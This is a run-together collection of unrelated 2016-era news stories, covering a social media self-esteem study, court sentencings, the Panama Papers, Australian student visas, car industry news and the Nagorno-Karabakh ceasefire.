Shaanxi political commentator, Ma Xiaoming, told Radio Free Asia: "The propaganda goes to show Xi Jinping as the savior of the Chinese people. This move by Xi Jinping is characteristic of the imperialist thinking that portrays him as the savior of the nation," Ma said. "[That thinking] is also one of the biggest reasons for his rise to power".
Has Social Media Taken Over Your Life?

Trending News: How Much Social Media Is Too Much?

Why Is This Important?

Because social media is changing our brains (and we like our brains).

Long Story Short

Research by a leading psychologist has revealed social media users regularly post things online  even if they dont agree with their own opinion  just to receive likes. A staggering number admitted use of social media, plus their friend or follower count, has a direct link to their self-esteem.

Long Story

If Jaws was the movie that made mankind petrified to step foot in the sea, newly-released horror Friend Request could be the one that sees us hurl our laptops, smartphones and social media accounts into a hot, bubbling volcano.

The film sees a college student lose all her Facebook friends (and some of them their lives), after accepting the friend request of a scary, rather unhinged stranger. While the plot is (thank Christ) pure fiction, its nod to social medias monstrous power in modern life led to University of South Wales psychologist Dr Martin Graff to embark on a study.

People crave likes on Facebook and Twitter, says Dr Graff of the research. Some are willing to sacrifice, to some extent, what they actually believe in order to get them. People accept friend requests from individuals they dont actually know. So it does alter the way in which we act, which might affect how we act face to face.

The upshot of the study is:

We spend an average of 28 hours each week online (whereas some, this writer included, far surpass that).

The average number of Facebook friends for those aged below 29 is 300.

27% of respondents post updates purely to receive likes, while 11.5% will go so far as to write things they dont actually agree with in order to get some.

A frankly astonishing 77% either agreed or strongly agreed their self-worth would be lower without social media, with 64% admitting social media likes can pep them up when feeling low.

Ignore for one moment that our smartphones and certain sites increasingly hold the key to the ego of actual human beings, and perhaps whats most troubling is that some among us basically play a character online. You know, like that friend of yours who acts like a cash-drenched baller on Instagram, despite having worked a Sainsburys checkout since age 16.

Were being the people wed want to be, but never feeling good about ourselves, claims social media consultant, Zoe Cairns. There are even apps that, if we take a selfie, can bring our cheekbones in and chin up. It makes us someone that were not. We end up hiding behind our keyboards.

Another frightening finding from Dr Graffs study is that, in an age where the spectre of Catfishing, identity theft and myriad hacks loom large, 34% freely admitted to accepting friend requests from people they didnt know.

Its scary, admits Cairns, who was a mortgage broker prior to launching her consultancy firm in 2010. People dont think twice about putting their full name and date of birth on their profiles, checking into their home and then letting everyone know when theyre off on holiday.

When they receive a friend request, she adds, they might think that person is their friend, but it could be absolutely anyone. People need to be so aware of this, especially parents with young kids.

Consider this a warning: social media is no longer sociable. Perhaps its time to pull the plug?

Own The Conversation

Ask The Big Question

Dont people who fake it for likes deserve everything they get?

Disrupt Your Feed

Whatever  I gave up Facebook the day my Aunt Vera signed up.

Drop This Fact

According to the University of Hong Kong, 420 million of us are addicted to the internet. Thats six percent of the human population!
Jenkins, currently co-head of the firms global finance division, will be based between Sydney and London when he takes up the new role.I think its really a matter of me getting the right balance between those two areas, Jenkins told Australasian Lawyer.We have approximately 50% of our business in the Asia-Pacific region, and 50% of our business EMEA and the US.With a number of years of international experience under his belt, having practiced in London and Tokyo in his early career, Jenkins is no stranger to operating globally.A qualified solicitor in New South Wales and England and Wales, Jenkins joined the firm in 1996 before making partner in 2006.My role as managing partner is to help all partners and colleagues succeed in the business, Jenkins said of his new role.I think part of that is really ensuring that I empower partners to be able win market share, to be able to encourage an entrepreneurial spirit within the firm.Part of that is about streamlining internal structures and processes, and also ensuring that we remain at the forefront of taking innovative approaches in the delivery of legal services.Initially, he said, his priority will be to talk to all the firms partners to devise a 12-month plan.Im looking forward to getting out and talking to partners and hearing about the challenges that they are facing in each of those different markets.Collis will return to his finance practice when he finishes his four-year term at the end of May.
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Transcripts emerged this week of New Zealand court sentencing for $6,000 in unpaid traffic fines.



Unfortunately for the Troy La Rue, who had racked up the unpaid fines, he had previously insulted Judge Allan Roberts on Facebook, which isnt punishable but did prove rather inconvenient, Stuff reported.



The sentencing happened back in January but the transcript just released shows the since-retired judges annoyance with the defendant.

It began very straightforward:



The Court: Mr La Rue you have been summonsed to court to deal with these outstanding fines, you know that, don't you.



Defendant: Ah, yes sir.



The Court: Fines outstanding $6244. I'm going to send you to do community work. Do you want to say anything?



Defendant: Happy with that.



Then, Roberts asked the court registrar to pull up the post.



Yeah, I was very intoxicated, LaRue said before he was interrupted by Roberts.



Read it out loud, Roberts said.



Defendant: "Says, 'F*** off".



The Court: "Read it out word for word. Your post please."



Defendant: "The bottom one?"



The Court: "Go point it to him, Mr Registrar please?"



Defendant: "This one."



The Court: "Yes."



Defendant: "LOL I hope the ******* gone by Friday. Ha ha. f*****, nah f***** c*** whose old face and saggy chin. F*** off".



The Court: "Who were you talking about?"



Defendant: "Well I'm talking to [a] mate aren't I?"



The Court: "No, no. Who are you talking about?"



Defendant: "Well, I'm guessing in respect to this post."



The Court: "Who are you talking about when you talk about, "The f****** old c*** with the saggy old chin".



Defendant: "Well, I guess I'm talking to you, sir."



The Court: "Thank you."



Defendant: "And I, I don't really know what to say about that but I do apologise."



The Court: "No, no you don't have to say anything, that's what I thought."



Defendant: "Yep."



The Court: "For your own benefit, Mr La Rue, I don't read that drivel. That was drawn to my attention by my registrar. You're a brave soul though, aren't you?"



Defendant: "Well, all I can say is you got me on that one."



The Court: "I got you cold mate."



The Defendant: "You did and I apologise for that."



The Court: "Now you're hardly a picture yourself are you?"



Defendant: "Oh, no."



The Court: "No. You don't work do you?"



Defendant: "No I don't."



The Court: "Right. You're otherwise indolent aren't you? Bone idle. Get it back off him. One: Outstanding fines $6244 remitted. Two: Substitution 300 hours' community work. Work off your laughter in the cells while we get the order typed."



Defendant: "Um "



The Court: "In the cells."



Defendant: "I do apologise for that."



The Court: "Damage done Mr La Rue. Don't give a toss."



Prominent Taranaki defence solicitor Paul Keegan told Stuff that while Facebook comments are outside the court and present no contempt issues, it is becoming a growing source of court evidence.



People put their lives on Facebook and included in that there is sometimes material that police will find relevant in a prosecution, Keegan said, adding that people need to take care when publishing online.


Fake Documents

At his trial, prosecutors said Newkirk plotted with his client, Calvin Darden Jr., to buy the mens magazine for $31 million in 2013 by lying to investors. The pair faked documents and told lenders that Dardens father, who was on the boards of Coca-Cola Enterprises Inc. and Target Corp., would pledge collateral for the loans.

After one lender discovered the collateral was fake, he asked for his money back from the escrow account at Newkirks law firm where it was being held, prosecutors said. The younger Darden then sent Newkirk an e-mail in which he pretended to be the investor, asking the lawyer to transfer the $4.9 million to the owners of Maxim instead. Newkirk transferred the money to Maxim despite knowing the e-mail was fake and pretended to discover the fraud only after the magazines owners had received the investors money.

I should not have been so trusting of Calvin Darden Jr., Newkirk said at the hearing. He held back tears as he spoke about his family. Im sorry for the impact of my actions on my wife and children.

The judge also sentenced Newkirk to three years of supervised release after his prison term and ordered him to pay $3.1 million in restitution.

Guilty Plea

Lenders lost $8 million in connection with the scheme, prosecutors said. Darden pleaded guilty. His father wasnt accused of wrongdoing.
The Australian Tax Office estimated that there are dozens of law firms like Mossack Fonseca around the world, used not only to minimise tax but also to conceal criminal behaviour.



The head of Australias tax office, Chris Jordan, spoke to senators yesterday in a specially convened hearing.



We would believe that would be the case, Jordan said.



Theyre not a one-off. They rely on the ever-dwindling secrecy havens.



Youve got to remember that the whole point of a lot of this is evasion and hiding things and thats very difficult to have a total coverage of because of the very nature of it.



Over 120 of the 800 Australians identified in the leaked data from the Panama Papers scandal have been linked to an associate offshore service provider located in Hong Kong, The Guardian reported this morning.



Jordan said there are around 80 names that have matched with the Australian Crime Commissions crime intelligence database.



So, we dont only have individuals using these firms to minimise their taxes, but theyre also being used for serious criminal enterprises, Labor senator Sam Dastyari told The Guardian.



There are 80 criminals and associates, already known to the Australian Crime Commission, that have been identified in these papers. This shows the web of tax minimisation and avoidance, and serious criminal activity and behaviour, are linked.



Yesterday, more than 40 prominent Australians voiced their frustration at the governements silence over the leak, calling for Turnbull to scrap secrecy laws that allow accountants and lawyers to help clients siphon away public money. The open letter was signed by Tim Costello, the head of World Vision Australia, Cassandra Goldie, chief executive of the Australian Council of Social Service, and prominent academic Robert Manne and other.



In Jordans view, the size of the data release means that countries cant tackle the problem of international tax avoidance in isolation. The OECDs Joint International Tax Shelter Information and Collaboration network met last week to formalise and international approach to the crack down on the tax crimes revealed in the leaked documents.



An action plan was developed and member countries undertook to build a comprehensive tax risk picture for their own jurisdiction, and share information, Jordan said.



All 35 jurisdictions represented at the meeting signed-up to take joint compliance action where appropriate. The Network is also exploring the use of taskforces and smaller working groups to make faster inroads.




The number of student visa types available for international applicants studying in Australia will be reduced from eight to two as from July 2016.Under a series of changes announced by the Department of Immigration and Border Protection (DIBP) the new simplified international student visa programme will have the Subclass 500 (Student) and Subclass 590 (Student Guardian).The process of applying for a student visa will also be simplified with less red tape, a level playing field for all education providers and a more targeted approach to immigration integrity.The simplified international student visa framework will support a more equitable system where high quality and low risk providers can thrive and in the process enhance the competitiveness of international higher education, according to Universities Australia.The organisation's deputy chief executive Anne-Marie Lansdown said that the streamlined visa processing (SVP) shows the world that Australia is focused on welcoming high quality, genuine students."SVP allows universities to compete internationally for the best students unhindered by lengthy visa processes and enabled universities to introduce processes that improve outcomes for student retention and completion," she explained."The new simplified student visa process will boost equity and support an environment where high quality and low risk providers can prosper. We support a risk managed approach to the student visa regime that rewards low risk providers with access to simpler visa processes for their students," she added.Universities Australia has worked with the DIBP on the implementation of the new programme and Lansdown said it is important that universities are not penalised for operating in new markets where immigration risks are less well known, especially given the aspirations for greater diversity outlined in the Draft National Strategy for International Education."Getting the details right in this vitally significant international education sector is imperative, ultimately producing greater benefits for universities, their students and Australia," she added.Rod Camm, chief executive officer of the Australian Council for Private Education and Training (ACPET) has also welcomed the change. He pointed out that the current system is so complex that colleges attending education fairs end up spending half their time explaining the visa system instead of talking about the quality of education in Australia.According to Sue Blundell, executive director of English Australia, the streamlines system will make it easier for genuine students to apply for a visa to study in Australia with high quality education providers.Phil Honeywood, chief executive officer of the International Education Association of Australia (IEAA), hopes that it will also improve the quality of what is offered to overseas students. "For too long the student visa system has been overly complex and overly expensive, so the sector welcomes any simplification of this process provided it weeds out the low quality providers from the quality providers," he said.
I sat for the IELTS on 5th March in IDP in Sri lanka, and got Speaking7, Reading 7, Listening 7.5, Writing 6.5. I need 7 in each of the components. I applied for a remarking on 6th of April.



DO you think I will have a luck?
The story seemed plausible and it came from a reliable source (the BBC), so there was no point in questioning its authenticity. And the story itself was true: the plane did hit something, it's just that the pilot saw what he wanted to see - or, better yet, what he was most afraid of.Just like every flickering light used to be a UFO a few decades ago, the pilots might be starting to see drones where there aren't any. However, just because this incident might not have been caused by one, that doesn't mean that rogue drones don't still pose a threat to commercial aviation.I'm no expert, but if I were to bet on a collision between an Airbus A320 and a drone, I would put my money on the former. At the same time, I really wouldn't want to be IN the airplane when that happens, so I guess we'll call this a draw.The FAA (the Federal Aviation Administration) released the official numbers of US pilots reporting drone sightings during last year, and they amount to 678. However, due to the mini-phobia built around the subject, some of them have proven to be false, with the pilot mislabeling other objects - or birds - as drones. It would appear that this might be the case as well for the Heathrow incident.Further analysis of the airplane revealed it had suffered absolutely no damage, despite the fact that the pilot said there was contact between the alleged UAV and the aircraft's frontal part. Robert Goodwill, UK's Transport Minister, told The Telegraph that he won't support tighter rules for drones as he does not see them necessary.Attempting to play down the incident, Mr. Goodwill said, "The reported drone strike on Sunday has not been confirmed it was actually a drone. It was the local police force that tweeted that they had a report of a drone striking an aircraft."And indeed the early reports of a dent in the front of the plane were not confirmed - there was no actual damage to the plane and there's indeed some speculation that it may have even been a plastic bag or something."I've not actually landed a 747 at Heathrow but I've landed the simulator and the pilot has a lot of other things to concentrate on so we're not quite sure what they saw so I think we should maybe not overreact too much." So if there's ever a severe crackdown on drone usage in the USA, plan your holidays in the UK while Mr. Goodwill is in charge and don't forget to pack your drone.
EV

Well, if you ask the CEOs of the world's major carmakers, they'll say it's Elon Musk building a new company to rival your own. The billionaire has proven so far that he doesn't really do bad business, even though his current crop of companies aren't yet stable enough (or profitable, for that matter), so it can still turn south for him. However, at the moment, he's riding a wave, and it's a big one. So big, in fact, that it might just wipe clean the whole automotive industry and set the stage for a completely new beginning.But anyone outside the car industry can rest assured for the moment as Musk has his hands full with delivering the first affordablesedan while also coming up with a reusable, vertical-landing rocket. However, during a recent visit to Norway (the European country with the highest EV penetration), Musk talked with the Minister of Transport and Communications there, Ketil Solvik-Olsen, and some pretty interesting points came up.The Minister asked Musk a question we feel was a little dumb, but it did spark an intriguing response: Can we expect Tesla to revolutionize mass transit when it comes to buses? Why is this slightly stupid? Because there's nothing wrong with buses. Buses are not the problem. It's not the buses that overcrowd the streets, it's the personal cars. Making buses autonomous isn't really a priority, as that would only mean one man losing his job. There are no other benefits to be had for the operator except the expenses with the driver. For the passengers, the bus is already an autonomous machine.This was Musk's answer, as reported by Electrek : We have an idea for something which is not exactly a bus, but would solve the density problem in intercity situations. I think we need to rethink the whole concept of public transport and create something that people are actually gonna like a lot more. I dont want to talk too much about it. And just before you say it, no, it's not Hyperloop.Theres a new type of car or vehicle that I think would be really great (to solve vehicle density in cities problem), he continued, and actually take people to their final destination and not just to the bus stop. If that sounds like some sort of Uber service using autonomous vehicles (probably larger - or with more seats - than a regular car, but still considerably smaller than buses) to you, then you're not alone.It's not the first time this idea has shown up on the agenda, and it makes perfect sense for Musk to be thinking about something of this nature. He never openly admitted to anything, but he wasn't very keen on denying it either, sparking speculations even further.
With both the 488 GTB and the 488 Spider having been introduced, the mid-engined beast we're looking at here is, most likely, a one-off built for a special customer.Up front, the fascia packs thirstier air intakes, while most of the nose has been changed, with the result being an angled lower front fascia. Stating the angle of the resulting nose reminds us of the infamous 288 GTO would be too much of a stretch, but we can certainly say that about the "tail" adorning the rear of the machine.And while the rear diffuser and the pair of exhaust pipes seem to have been retained, the rear fascia also packs new styling cues. In fact, the entire rear section of the car appears to be different and we're also talking about the engine cover here.Dressed in what is probably a special shade of White whose details we can't see due to the poor quality of these pics, the Prancing Horse also features the Italian flag as three central stripes.Speaking of the images, these come from Davide Cironi - for the record, we're dealing with a test driver whose resume includes a job as a Ferrari driving instructor, so the spotting only seems natural now that we know this detail.Ferrari has always known how to take advantage of one-off requests, with the kind of customers commissioning such projects ranging from the Sultan of Brunei to American investment specialist and film director James Glickenhaus Until we get more details on the 488 matter, make sure you check out the image gallery below, since we've also added pics of the "standard" 488 GTB, as well as of the 288 GTO.: The 488 one-off was spotted testing on the Prancing Horse's Fiorano home track today and you can find a set of related images in the gallery below.: The rumor mill talks about this Ferrari Special Projects creature being destined for a Japanese owner.
The Japanese manufacturer is the new motorcycle partner of the legendary road racing event, adding a new dimension to the history of this collaboration that goes more than half a century back in time.Honda will supply the 2016 TT with a fleet of CBR100RR Fireblade motorbikes that will be used by the traveling marshals in qualifying and during the actual racing part of the event.The house of Tokyo tied its name to the TT back in 1954 when Soichiro Honda himself announced that the company intended to take part in the Isle of Man competition. Five years later, the first Honda machine lined up at the start of a race around the Snaefell Mountain, and three seasons later, Honda was enjoying their first victory in the Manx Island.Even though the names of Joey Dunlop and John McGuinness are probably the best-known around the Mountain Course, Honda's presence in the TT is a legend itself. The Japanese maker is the most successful OEM to race in the Isle of Man, counting no less than 250 victories across all classes. The last one added to the roster belongs to Mr. Pint, who won his 23rd race around Snaefell last year in the main race, the PokerStars Senior TT.Marshals became a regular part of the TT in 1935, and their corps grew and better trained over the years. Positioned along the Mountain Course close to the critical sections, the marshals' job is to provide quick responses to the various incidents.Also, the TT marshals are responsible for course inspection, spotting visible problems in the motorcycles, reviewing and reporting track incidents. Also, each marshal bike carries around medical equipment for first-aid intervention when needed.Alongside the marshals, among those who are devoted to making road racing events such as the TT safer, we must also remember the name of John Hinds, the Flying Doctor, who was killed in a crash while tending to his duties on July 4, 2015. An unrelenting advocate of the Air Ambulance service in Northern Ireland, Hinds and his legacy will always be remembered thanks to the Delta 7 (Dr. Hinds call sign) helicopter that will start operating in the country soon.Fancy a Honda Fireblade in TT livery , by the way?
EV

Those 400,000 and counting reservations have everyone baffled: nobody thought something like this would ever be possible, let alone for an electric car. In just a few years, Tesla has been able to build such a solid brand image that people trust that, when the time comes, the Palo Alto company will deliver. And that's despite the recent problems the Model X is facing.It almost seems unthinkable that someone would rather make a deposit and wait for one and a half years to get their car when they can instantly buy a different model. This kind of adhesion to one brand wasn't something the automotive industry was familiar with, but there's a simple explanation for that: cars didn't use to be this far apart regarding performance. Traditional cars used to differ more in design, interior and, maybe, handling; with Tesla, you get something nobody else is currently offering: the largest electric range and a network of superchargers built just for you.And there's another thing: I'm willing to bet that at least 95 percent of those who paid $1,000 for a new Model 3 already own at least one vehicle (be it electric or otherwise), so they can afford to wait just fine. As for the actual deposit, this was a very smart move from Musk: the sum is so tiny, it immediately convinced those who were maybe having some second thoughts about taking the pledge.The company that's probably most upset and worried about the turn of events is Nissan. Its CEO, Carlos Ghosn, publicly welcomed the Model 3, saying they finally have some "good competition," but we can spot a PR statement when we see one. Nissan LEAF has been the best sellingever since it first came out (and, overall, it still holds the largest number of sales), but if you add all of them up, you still don't get to 400,000. So, how should we put this? Maybe the Model 3 will be more than just "good competition."Besides, just because they're electric, doesn't mean they're direct competitors. The only thing linking the two right now is the price, but other than that, the Model 3 will be in a different (larger) segment, will have a longer range, and will offer various technologies as well as a top-quality interior. The current Nissan LEAF is losing ground, with sales down by 42.8 percent in the US during last year. And look at it: that's not really a car you desperately want. Its saving grace was that it used to be the best option for anybody interested in an EV.Now that the future isn't very bright for Nissan's electric hatchback, the Japanese brand has started a new campaign that is clearly aimed at the Model 3. The ad - which featured in today's New York Times, Los Angeles Times, USA Today and The Wall Street Journal - reads like this: "No one should have any reservations about getting an electric car today," goes the headline. "Why wait when you can drive an all-electric LEAF now? And why drop $1,000 to stand in line when you can get $4,000 cash back and best-in-class range?"I think we all know the answer to that question. Nissan needs to wake up and come up with a new, better and visually compelling LEAF, or its record for the number of EVs sold isn't going to last for much longer.
Scagnetti battled severe injuries in his legs caused by a vascular necrosis and promised that, if he ever walked again without crutches, he would travel the world to raise money for scientific research. Globalrider is his project that will "broadcast and raise funds to support the work of scientific research centers dedicated to the field of tissue regeneration using stem cells in children."After surmounting numerous obstacles over the past 13 months, Hugo is now ready to take on an amazing adventure, with massive support from Yamaha Motors, the Movistar Yamaha MotoGP team and Telefonica. His journey will kick off on May 27 in Spain's capital of Madrid, at the Telefonica's offices, and will head for France, Italy, Greece, and Turkey, Georgia, Azerbaijan, Uzbekistan, Kazakhstan, and Kyrgyzstan.A plane will then fly him to US land in San Francisco, before heading north to Seattle, and then crossing the country to reach Miami in Florida. Next stops are the UK and Spain back home.Thanks to Telefonica and all the communication technologies that will go into his Yamaha XT1200Z Super Tenere, Hugo Scagnetti will be able to shoot a complex documentary of his ride. Both him and his bike will be loaded with sensors that will take care of telemetry, connectivity, geolocation, and social networks, as well as monitoring Hugo's medical status remotely. It looks like this epic journey will be as much a test for Telefonica's M2M and Internet of Things technologies as it will for Hugo and his Super Tenere.All the donations and benefits from the distribution rights of the documentary will be directed to the Puerta de Hierro Hospital in Madrid and its stem cell tissue regeneration research team.
Photo courtesy of Silicon Valley Power.

The largest public electric vehicle charging facility in California has opened in a City of Santa Clara parking garage. The Santa Clara Electric Vehicle Charging Center features 48 Level 2 chargers and one DC Fast Charger.

The charging facility at Tasman Parking Garage was a state-funded collaborative effort. Santa Claras municipal electric utility Silicon Valley Power (SVP) obtained a $393,000 grant from the California Energy Commission to pay for the equipment and construction of the charging center. SVP collaborated with the Electric Power Research Institute, Joint Venture Silicon Valley, ChargePoint, and MJR Electric to obtain the grant.

This is a milestone in our citys commitment to fighting climate change, and it sets a standard for local action in California, said Santa Clara Mayor Lisa Gillmor. This garage also features a rooftop solar array and state-of-the-art power storage capability.

The six-story parking structure has a 370-kilowatt photovoltaic installation, and uses battery technology from Green Charge Networks to help offset peak power demand with stored power to lower costs. The solar power flows into the local SVP grid, which provides the facilitys electricity. Operational expenses of the facility are expected to be covered by usage fees from EV drivers.

The parking structure is situated near the Santa Clara Convention Center, Levis Stadium, and the California Great America theme park.
Photo of 2016 Titan XD courtesy of Nissan.

Nissan is making it easier for commercial fleets to acquire vehicles outside of annual purchasing cycles with its Fleetail 2.0 program that will expedite orders of less than 50 vehicles to commercial fleets and fleet management companies.

While the program will most likely be used by smaller fleets, larger fleets can benefit by collecting full incentives for a "spot buy," when a fleet needs to purchase vehicles quickly outside of an annual budgeting and procurement cycle.

Fleetail 2.0  the first iteration began with the introduction of the NV for the 2012-MY  relies on dealer trades to enable sales of smaller lots of vehicles. It also ensures fleets receive the "street" or published incentive as well as any additional corporate tiered incentives based on volume purchasing.

The initial program was only available on NV models and only offered through Nissans Business Certified Dealerships. Business Certified is a program designed to assist commercial focused dealerships in catering to the commercial customer needs. It functions similarly to General Motors' Business Elite program or Ram Commercial's BusinessLink programs. However the Fleetail 2.0 program sets it apart from the other domestic commercial programs, according to Nissan.

Nissan is launching the dealer-based program in tandem with its diesel-powered Titan XD, which arrived in late 2015. Nissan is hoping the heavier light-duty truck will grow its commercial business, which has relied on sales of its Nissan NV and NV200 vans.

"It's the perfect program for Titan," said Mark Namuth, senior manager for commercial vehicle sales. "When you look at Titan buyers, those guys are construction companies. They get a new contract, and they need 20 trucks right away."

The program will also benefit larger fleets with regional businesses that prefer to purchase through dealerships.

Pharmaceutical companies that hire additional sales reps during the year could also benefit from the program if they need to add additional Rogue compact SUVs in the middle of a fiscal year, Namuth said.

Fleets that enroll in the program are given a Fleet Certification Number, so they can place their orders at dealers. Orders above 50 units typically would be sent to Nissan corporate as a factory order.

The program groups orders into a tiered hierarchy based on size. Customers ordering two to 15 cars would be considered Tier 1. Additional tiers are available for larger buys and receive larger incentives. For larger fleets and fleet management companies, the program will shorten order-to-delivery times, Namuth said. Nissan's entire vehicle lineup is eligible, except for the GT-R.

"This program is all about getting the customer the right incentive and the right vehicles out of dealer stock for quick delivery," Namuth said. "Dealers like to swap cars. With the Fleetail program, we're encouraging our dealers to be more engaged with one another. If you help your neighbor that guy will return the favor when you need 10 units."

In the past, such transactions have been stymied because dealers have wanted to sell Nissan vehicles as retail transactions so they wouldn't have to give up incentives, Namuth said. Under Fleetail, Nissan makes dealers whole with all applicable dealer incentives in place."

Since the first iteration of the program, Nissan has been beefing up its fleet sales efforts. The company now has 11 fleet sales associates serving the North American market. They work directly with fleet management companies, and will coordinate Fleetail sales with a commercial dealership.

Nissan has also hired 10 commercial advisers as consultants to its more than 400 Business Certified dealerships. These dealerships also employ a commercial vehicle account manager responsible for prospecting for commercial deals.

Nissan officially launched Fleetail 2.0 on Dec. 1. A third-party managed website for the program went live in January.
There are rumors that Daimler, BMW and Apple are planning to work on a car project. However, recent talks surfaced that the two car manufacturers have already backed out from discussions.

Apple did not officially confirm its plans to work on an iCar or an electric, semi-autonomous vehicle. The latest reports showed that Daimler and BMW have stopped talking to the tech company about the rumored car proposal, dubbed Project Titan.

German business publication Handelsblatt states that according to industry sources, the two carmakers exited discussions after they failed to agree on the subjects of control and data. Apple allegedly intended the car to be closely made into its own cloud software, while the German companies wanted to focus on customer data protection, which has been an essential factor in their long term plans. Apple reportedly planned to make a highly-networked electric car that also have limited self-driving capabilities.

Tim Cook, Apple CEO, previously went to the BMW headquarters in Munich, Germany while senior executives at Apple visited the BMW factory in Leipzig to understand more how the i3 electric car is made, The Verge notes. Discussions with BMW were the first to fail in 2015. Talks with Daimler followed recently in 2016.

Frankfurter Allgemeine, another German publication, stated that Magna, a Canadian-Austrian auto contract maker can still be a potential Apple partner. Apple is allegedly building a secret lab in Berlin, with 15 to 20 engineers from various German companies, to potentially work on its car project. Apple recently hired Chris Porritt, former vice president of vehicle engineering at Tesla, just after Steve Zadesky, the head of Project Titan, exited the company.

The Star reveals that Magna, which is based in Aurora, has assembled vehicles for both Daimler and BMW at its Magna-Steyr facility in Austria before. Apple executives also toured the facility in September 2015.

I have no insight into whether or not Magna is the front runner to build vehicles for Apple or not but Magna is certain capable, said Tony Faria, co-director of the University of Windsors Office of Automotive and Vehicle Research. Faria continued that they are interested in working with Apple and other tech giants who plan to join the vehicle industry.

None of the three companies confirmed that talks between them ever happened. Magna also did not comment on the recent issue.

More updates and details on Apples entry into the auto industry are expected soon.
Even at a price north of a million dollars, Diamonds new DA62 twin is finding strong demand in a new aircraft market most describe as tepid. Diamond CEO Christian Dries told AVweb this week at Aero that production will rise to more than one airplane per week and that he believes a volume of 60 to 62 airplanes a year is sustainable. (For reference, GAMA reports that 110 piston twins were sold worldwide in 2015, including 46 from Diamond, which currently dominates the piston-twin market.)

Whos buying the airplanes? For now, Dries says its private buyers who will fly the airplane themselves. But we are working on a DA62 for charter operations with an additional belly pod which can accommodate additional luggage, Dries told AVweb in a podcast well link to later this week. Dries also said the DA62, which has a gross weight for North America of 5070 pounds, may see an allowable weight increase in the future.

And despite its typical $1.3 million price tag, Dries believes the DA62 will find some buyers in the flight training segment. The DA42 is still highly recognized and valued for flight training. The DA62 could be a flight training airplane, but it is not so cheap. There are some high-profile flight schools in the world where performance is a very important part, Dries said.
The former postal carrier who landed his gyrocopter at the U.S. Capitol a year ago was sentenced to 120 days in prison on Thursday. Doug Hughes, 62, walked out of federal court after a lengthy hearing and told reporters he still doesnt regret his flight, as reported by the Tampa Bay Times. Hughes, a Florida resident, had planned the flight for months as a public protest. On April 15, 2015, he drove to the Washington area with his gyrocopter, then took off in it with letters addressed to each member of Congress in hopes of drawing their attention to moneys impact on the political process. Police arrested him upon his landing on the Capitol lawn. I havent apologized in the past and Im not apologizing now, he told reporters Thursday.

Hughes also maintains his flight did not pose a hazard to other aircraft or people on the ground, but a federal judge thought otherwise. I dont think you appreciate how dangerous your conduct was and how you could have injured yourself and others, the judge told him, according to the Times report. Hughes pleaded guilty in November to flying without a pilot certificate after negotiating a deal with prosecutors, who agreed to ask for a maximum of ten months in prison instead of three years. Hughes had pleaded not guilty to a battery of felony andmisdemeanor charges including illegally operating an aircraft and flying into Washington, D.C.s restricted airspace. He would have faced nearly ten years in jail for all of the charges originally lodged against him.
Armenia and Azerbaijan should accept specific safeguards against ceasefire violations without further delay, Russian Foreign Minister Sergey Lavrov said on Friday during a visit to Yerevan aimed at de-escalating the Nagorno-Karabakh conflict.

Lavrov said both conflicting parties should fully restore and bolster the ceasefire regime along the Karabakh line of contact following the worst fighting in over two decades that broke out there on April 2.

These tragic events once again confirmed the fact that this conflict does not and cannot have a military solution and can be settled in a solely politico-diplomatic way, he said after talks with his Armenian counterpart Edward Nalbandian.

We believe that at this stage the absolute priority is to ensure a full and unconditional compliance with the [Russian-mediated] ceasefire agreements of 1994 and 1995, which are open-ended and must be fully respected as such by all, he added.

Lavrov travelled to Yerevan amid intense Armenian media speculation that Moscow, having helped to stop the heavy fighting on April 5, is now seeking to revive the Karabakh peace process at the expense of more Armenian concessions to Azerbaijan.

However, the Russian minister made no mention of any compromise peace accords at the joint news conference with Nalbandian. Instead, he put the emphasis on maintaining and strengthening the truce through confidence-building measures that have long been advocated by Russia as well as the two other mediating powers, the United States and France.

Lavrov said that Presidents Serzh Sarkisian of Armenia and Ilham Aliyev of Azerbaijan agreed to such measures at a 2011 summit in Kazan, Russia, which nearly yielded a breakthrough. A further delay in the implementation of those decisions would be wrong, he stressed.

Lavrov met with Sarkisian later in the day. The Armenian president told him that with its April 2 offensive in Karabakh Baku dealt a severe blow to prospects for a peaceful resolution of the Karabakh conflict.

I do understand what you said, Serzh Azatovich, Lavrov replied. It is certainly difficult to return to the negotiating table now. The situation should calm down a little.

The proposed truce safeguards include mutual withdrawal of snipers from the frontlines and a mechanism for OSCE investigations of armed incidents on both the Karabakh line of contact and the Armenian-Azerbaijani border. They have been repeatedly backed by Armenia but rejected by Azerbaijan.

Aliyev charged last month that the confidence-building measures sought by the U.S., Russian and French co-chairs of the OSCE Minsk Group would only freeze the conflict and thus boost the Armenian side. Instead of resolving the conflict, they come up with weird proposals to bolster security along the Line of Contact, he said.

In an extensive statement released on Thursday, the Azerbaijani Foreign Ministry blamed Yerevan for the April 2 escalation. With its pre-planned attack Armenia nullified the ceasefire agreement reached in 1994, it said.

The Armenian Foreign Ministry brushed aside Bakus cynical claim as an attempt to cast doubt on the validity of that agreement which stopped a nearly three-year-long Armenian-Azerbaijani war for the disputed territory.

Russias Foreign Ministry similarly emphasized the open-ended character of the 1994 truce in a statement issued later on Thursday. It publicized a similar Russian diplomatic note that was sent to Azerbaijans permanent representative to the OSCE headquarters in Vienna on April 12.

Meeting with Lavrov, President Sarkisian suggested that the Russian, U.S. and French mediators might have prevented Azerbaijans irresponsible actions if they had openly held Baku responsible for previous truce violations. Unfortunately, the Azerbaijanis felt that they can violate the agreements signed in 1994-1995 with impunity, he said.

It is very important for me to hear your view on why this [escalation] occurred, Sarkisian told Lavrov. Of course, we have our view but you are much better informed and we will therefore be grateful if you present your view.

Lavrov seemed to disagree with the thinly veiled criticism, saying that the flare-up of violence may not have occurred had the conflicting parties made more progress towards agreeing on the Basic Principles of a settlement proposed by the three mediating powers. Only the parties themselves can reach a solution, he stressed.

Sarkisian and Aliyev came close to ironing out their difference at the 2011 Kazan summit organized by then Russian President Dmitry Medvedev. Armenian officials claimed afterwards that Aliyev scuttled a deal with last-minute demands for changes in the Basic Principles.

Speaking to reporters in Yerevan, Lavrov confirmed that Armenia didnt reject the Kazan document.

The Basic Principles call for a phased settlement that would end in a referendum on Karabakhs internationally recognized status. The vote would be held years after Armenian withdrawal from virtually all districts around Karabakh.
22 April 2016 14:12 (UTC+04:00)

By Nazrin Gadimova

Azerbaijans Defense Ministry has disproved information about violation of the ceasefire in the direction of Talish village by the Azerbaijani side.

Earlier, Armenian local media spread information about violation of truce and death of its soldier, Marat Danielyan as a result of clashes.

Baku believes that Armenians, who initiated hostilities in the front-line area, misrepresent the real facts to hide their losses and to mislead representatives of international organizations and community to pave a way for future provocations.

